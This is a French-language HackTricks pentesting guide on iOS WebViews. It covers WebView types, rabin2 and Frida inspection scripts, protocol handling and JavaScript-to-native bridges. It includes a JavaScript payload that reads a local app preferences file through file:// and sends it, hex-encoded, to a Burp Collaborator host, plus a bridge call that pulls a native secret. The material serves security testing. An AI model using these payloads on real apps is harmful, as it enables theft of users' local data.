iOS WebViews
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Le code de cette page a été extrait de ici. Consultez la page pour plus de détails.
Types de WebViews
Les WebViews sont utilisés dans les applications pour afficher du contenu web de maniÚre interactive. Différents types de WebViews offrent différentes fonctionnalités et caractéristiques de sécurité pour les applications iOS. Voici un bref aperçu :
-
UIWebView, qui n'est plus recommandé à partir d'iOS 12 en raison de son manque de support pour désactiver JavaScript, le rendant susceptible à l'injection de scripts et aux attaques de Cross-Site Scripting (XSS).
-
WKWebView est l'option prĂ©fĂ©rĂ©e pour intĂ©grer du contenu web dans les applications, offrant un contrĂŽle amĂ©liorĂ© sur le contenu et les fonctionnalitĂ©s de sĂ©curitĂ©. JavaScript est activĂ© par dĂ©faut, mais il peut ĂȘtre dĂ©sactivĂ© si nĂ©cessaire. Il prend Ă©galement en charge des fonctionnalitĂ©s pour empĂȘcher JavaScript d'ouvrir automatiquement des fenĂȘtres et garantit que tout le contenu est chargĂ© de maniĂšre sĂ©curisĂ©e. De plus, l'architecture de WKWebView minimise le risque de corruption de la mĂ©moire affectant le processus principal de l'application.
-
SFSafariViewController offre une expĂ©rience de navigation web standardisĂ©e au sein des applications, reconnaissable par sa mise en page spĂ©cifique incluant un champ d'adresse en lecture seule, des boutons de partage et de navigation, et un lien direct pour ouvrir le contenu dans Safari. Contrairement Ă WKWebView, JavaScript ne peut pas ĂȘtre dĂ©sactivĂ© dans SFSafariViewController, qui partage Ă©galement des cookies et des donnĂ©es avec Safari, prĂ©servant la vie privĂ©e de l'utilisateur vis-Ă -vis de l'application. Il doit ĂȘtre affichĂ© de maniĂšre proĂ©minente conformĂ©ment aux directives de l'App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Résumé de l'exploration de la configuration des WebViews
Aperçu de l'analyse statique
Dans le processus d'examen des configurations de WebViews, deux types principaux sont ciblés : UIWebView et WKWebView. Pour identifier ces WebViews dans un binaire, des commandes sont utilisées, recherchant des références de classe spécifiques et des méthodes d'initialisation.
- Identification de UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Cette commande aide à localiser des instances de UIWebView en recherchant des chaßnes de texte liées à cela dans le binaire.
- Identification de WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
De mĂȘme, pour WKWebView, cette commande recherche dans le binaire des chaĂźnes de texte indicatives de son utilisation.
De plus, pour trouver comment un WKWebView est initialisé, la commande suivante est exécutée, ciblant la signature de méthode liée à son initialisation :
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
VĂ©rification de la Configuration JavaScript
Pour WKWebView, il est souligné que désactiver JavaScript est une bonne pratique sauf si nécessaire. Le binaire compilé est recherché pour confirmer que la propriété javaScriptEnabled
est définie sur false
, garantissant que JavaScript est désactivé :
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Vérification du contenu uniquement sécurisé
WKWebView offre la capacité d'identifier les problÚmes de contenu mixte, contrairement à UIWebView. Cela est vérifié en utilisant la propriété hasOnlySecureContent
pour s'assurer que toutes les ressources de la page sont chargées via des connexions sécurisées. La recherche dans le binaire compilé est effectuée comme suit :
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Aperçus sur l'analyse dynamique
L'analyse dynamique implique l'inspection du tas pour les instances de WebView et leurs propriétés. Un script nommé webviews_inspector.js
est utilisé à cet effet, ciblant les instances UIWebView
, WKWebView
et SFSafariViewController
. Il enregistre des informations sur les instances trouvées, y compris les URL et les paramÚtres liés à JavaScript et au contenu sécurisé.
L'inspection du tas peut ĂȘtre effectuĂ©e en utilisant ObjC.choose()
pour identifier les instances de WebView et vérifier les propriétés javaScriptEnabled
et hasonlysecurecontent
.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Le script est exécuté avec :
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Résultats Clés:
- Les instances de WebViews sont localisées et inspectées avec succÚs.
- L'activation de JavaScript et les paramÚtres de contenu sécurisé sont vérifiés.
Ce résumé encapsule les étapes et commandes critiques impliquées dans l'analyse des configurations de WebView à travers des approches statiques et dynamiques, en se concentrant sur des fonctionnalités de sécurité telles que l'activation de JavaScript et la détection de contenu mixte.
Gestion du Protocole WebView
La gestion du contenu dans les WebViews est un aspect critique, surtout lorsqu'il s'agit de divers protocoles tels que http(s)://
, file://
, et tel://
. Ces protocoles permettent le chargement de contenu Ă la fois distant et local au sein des applications. Il est soulignĂ© que lors du chargement de contenu local, des prĂ©cautions doivent ĂȘtre prises pour empĂȘcher les utilisateurs d'influencer le nom ou le chemin du fichier et de modifier le contenu lui-mĂȘme.
WebViews offrent différentes méthodes pour le chargement de contenu. Pour UIWebView, désormais obsolÚte, des méthodes comme loadHTMLString:baseURL:
et loadData:MIMEType:textEncodingName:baseURL:
sont utilisées. WKWebView, en revanche, utilise loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
, et loadRequest:
pour le contenu web. Des méthodes telles que pathForResource:ofType:
, URLForResource:withExtension:
, et init(contentsOf:encoding:)
sont généralement utilisées pour charger des fichiers locaux. La méthode loadFileURL:allowingReadAccessToURL:
est particuliÚrement notable pour sa capacité à charger une URL ou un répertoire spécifique dans le WebView, exposant potentiellement des données sensibles si un répertoire est spécifié.
Pour trouver ces mĂ©thodes dans le code source ou le binaire compilĂ©, des commandes comme les suivantes peuvent ĂȘtre utilisĂ©es :
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Concernant l'accĂšs aux fichiers, UIWebView le permet universellement, tandis que WKWebView introduit les paramĂštres allowFileAccessFromFileURLs
et allowUniversalAccessFromFileURLs
pour gérer l'accÚs à partir des URL de fichiers, les deux étant faux par défaut.
Un exemple de script Frida est fourni pour inspecter les configurations de WKWebView pour les paramÚtres de sécurité :
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Enfin, un exemple de charge utile JavaScript visant à exfiltrer des fichiers locaux démontre le risque de sécurité potentiel associé à des WebViews mal configurés. Cette charge utile encode le contenu des fichiers au format hexadécimal avant de les transmettre à un serveur, soulignant l'importance de mesures de sécurité strictes dans les implémentations de WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Méthodes natives exposées via WebViews
Comprendre les interfaces natives WebView dans iOS
Depuis iOS 7, Apple a fourni des API pour la communication entre JavaScript dans un WebView et des objets Swift ou Objective-C natifs. Cette intégration est principalement facilitée par deux méthodes :
- JSContext : Une fonction JavaScript est automatiquement créée lorsqu'un bloc Swift ou Objective-C est lié à un identifiant dans un
JSContext
. Cela permet une intégration et une communication fluides entre JavaScript et le code natif. - JSExport Protocol : En héritant du protocole
JSExport
, les propriĂ©tĂ©s natives, les mĂ©thodes d'instance et les mĂ©thodes de classe peuvent ĂȘtre exposĂ©es Ă JavaScript. Cela signifie que tout changement effectuĂ© dans l'environnement JavaScript est reflĂ©tĂ© dans l'environnement natif, et vice versa. Cependant, il est essentiel de s'assurer que les donnĂ©es sensibles ne sont pas exposĂ©es involontairement par ce biais.
Accéder à JSContext
en Objective-C
En Objective-C, le JSContext
pour un UIWebView
peut ĂȘtre rĂ©cupĂ©rĂ© avec la ligne de code suivante :
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Communication avec WKWebView
Pour WKWebView
, l'accĂšs direct Ă JSContext
n'est pas disponible. Au lieu de cela, le passage de messages est utilisé via la fonction postMessage
, permettant la communication entre JavaScript et le natif. Les gestionnaires pour ces messages sont configurés comme suit, permettant à JavaScript d'interagir avec l'application native de maniÚre sécurisée :
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interaction et Test
JavaScript peut interagir avec la couche native en définissant un gestionnaire de messages de script. Cela permet des opérations comme l'invocation de fonctions natives depuis une page web :
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Pour capturer et manipuler le résultat d'un appel de fonction natif, on peut remplacer la fonction de rappel dans le HTML :
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Le cÎté natif gÚre l'appel JavaScript comme indiqué dans la classe JavaScriptBridgeMessageHandler
, oĂč le rĂ©sultat des opĂ©rations comme la multiplication de nombres est traitĂ© et renvoyĂ© Ă JavaScript pour affichage ou manipulation supplĂ©mentaire :
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
DĂ©bogage des WebViews iOS
(Tutoriel basé sur celui de https://blog.vuplex.com/debugging-webviews)
Pour déboguer efficacement le contenu web dans les webviews iOS, une configuration spécifique impliquant les outils de développement de Safari est nécessaire en raison du fait que les messages envoyés à console.log()
ne s'affichent pas dans les journaux Xcode. Voici un guide simplifié, mettant en avant les étapes et exigences clés :
-
PrĂ©paration sur l'appareil iOS : L'inspecteur web de Safari doit ĂȘtre activĂ© sur votre appareil iOS. Cela se fait en allant dans RĂ©glages > Safari > AvancĂ©, et en activant l'Inspecteur Web.
-
Préparation sur l'appareil macOS : Sur votre machine de développement macOS, vous devez activer les outils de développement dans Safari. Lancez Safari, accédez à Safari > Préférences > Avancé, et sélectionnez l'option Afficher le menu Développement.
-
Connexion et DĂ©bogage : AprĂšs avoir connectĂ© votre appareil iOS Ă votre ordinateur macOS et lancĂ© votre application, utilisez Safari sur votre appareil macOS pour sĂ©lectionner la webview que vous souhaitez dĂ©boguer. Naviguez vers DĂ©veloppement dans la barre de menu de Safari, survolez le nom de votre appareil iOS pour voir une liste des instances de webview, et sĂ©lectionnez l'instance que vous souhaitez inspecter. Une nouvelle fenĂȘtre de l'inspecteur web de Safari s'ouvrira Ă cet effet.
Cependant, soyez conscient des limitations :
- Le débogage avec cette méthode nécessite un appareil macOS car il repose sur Safari.
- Seules les webviews dans les applications chargĂ©es sur votre appareil via Xcode sont Ă©ligibles pour le dĂ©bogage. Les webviews dans les applications installĂ©es via l'App Store ou Apple Configurator ne peuvent pas ĂȘtre dĂ©boguĂ©es de cette maniĂšre.
Références
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.